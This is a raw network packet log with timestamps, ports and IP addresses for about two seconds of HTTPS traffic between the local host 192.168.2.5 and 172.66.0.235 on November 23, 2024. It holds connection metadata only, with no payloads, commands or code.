Nov 23, 2024 13:38:14.920213938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.920228004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.922550917 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.922571898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.922621012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.922632933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.922684908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.924374104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.924395084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.924427032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.924437046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.924473047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.924504042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.926789999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.926809072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.926851034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.926862955 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.926894903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.926913977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.928896904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.928917885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.928963900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.928972960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.928994894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.929019928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.930305958 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.931344986 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.931363106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.931395054 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.931401968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:14.931438923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.931467056 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:14.971046925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.107686043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.107707977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.107799053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.107871056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.107923985 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.110039949 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.110054970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.110111952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.110127926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.110184908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.112484932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.112498999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.112632990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.112647057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.112705946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.114356041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.114372015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.114450932 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.114464998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.114520073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.116702080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.116718054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.116760015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.116780043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.116806030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.116956949 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.119086981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.119101048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.119153976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.119167089 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.119194031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.119218111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.121294975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.121309996 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.121359110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.121373892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.121422052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.122303009 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.123063087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.123080969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.123131990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.123146057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.123198032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.136451960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.300192118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.300213099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.300296068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.300318956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.300383091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.301856995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.301872969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.301932096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.301954031 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.302004099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.304286003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.304300070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.304357052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.304371119 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.304430008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.306850910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.306864977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.306929111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.306942940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.306998014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.308523893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.308538914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.308598042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.308610916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.308665037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.310897112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.310911894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.310966015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.310978889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.311114073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.313102007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.313170910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.313186884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.313237906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.313254118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.313287020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.313527107 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.315530062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.315545082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.315618992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.315633059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.315701008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.341927052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.492022038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.492042065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.492155075 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.492175102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.492228031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.494277954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.494309902 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.494347095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.494360924 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.494388103 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.494406939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.496753931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.496768951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.496815920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.496829987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.496855974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.496915102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.498522997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.498538017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.498600960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.498615980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.498670101 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.501064062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.501079082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.501141071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.501154900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.501225948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.503371000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.503390074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.503480911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.503494978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.503547907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.505227089 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.505600929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.505616903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.505680084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.505692959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.505722046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.505769014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.507333040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.507353067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.507395029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.507407904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.507435083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.507496119 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.519565105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.519660950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.519674063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.542280912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.684706926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.684763908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.684899092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.684899092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.684926033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.686400890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.686415911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.686460018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.686496019 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.686526060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.687989950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.688066006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.688081980 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.688992977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.689066887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.689080954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.689846992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.689913034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.689927101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.690622091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.690674067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.690685987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.690768957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.691427946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.691490889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.691504002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.693896055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.693912029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.693969011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.693984032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.696322918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.696336985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.696384907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.696402073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.698409081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.698422909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.698471069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.698486090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.698515892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.699208975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.699254990 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.699268103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.699290037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.699347019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.699347019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.699363947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.715249062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.875948906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.875967026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.876169920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.876194000 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.876259089 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.878356934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.878374100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.878427029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.878442049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.878494024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.880048990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.880069971 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.880106926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.880120993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.880148888 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.880192995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.881740093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.881784916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.881799936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.881812096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.881856918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.882471085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.882528067 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.882555962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.882617950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.883382082 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.883440018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.883452892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.885763884 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.885785103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.885832071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.885852098 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.885879993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.888206959 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.888221979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.888264894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.888281107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.888308048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.889789104 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.890352964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.890366077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.890435934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.890448093 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.890467882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.890537024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.890551090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.890599966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.891185045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.891238928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.903089046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:15.903141022 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:15.993169069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.068388939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.068420887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.068545103 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.068591118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.068656921 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.069938898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.069984913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.070024014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.070039988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.070070982 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.072392941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.072410107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.072468996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.072484970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.072534084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.074079990 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.074119091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.074135065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.074156046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.074193954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.074227095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.076021910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.076096058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.076108932 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.077550888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.077569962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.077610016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.077624083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.077651978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.079911947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.079926968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.079967976 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.079988956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.080014944 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.081269026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.081331015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.081345081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.081625938 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.082842112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.082890987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.082922935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.082941055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.082967997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.082986116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.082988977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.083002090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.083033085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.085287094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.100020885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.259500027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.259552002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.259638071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.259715080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.259754896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.260994911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.261024952 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.261059046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.261075974 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.261101961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.263482094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.263499022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.263545036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.263564110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.263598919 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.265768051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.265782118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.265846014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.265863895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.266113043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.266171932 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.266185045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.266236067 CET	49704	443	192.168.2.5	172.66.0.235
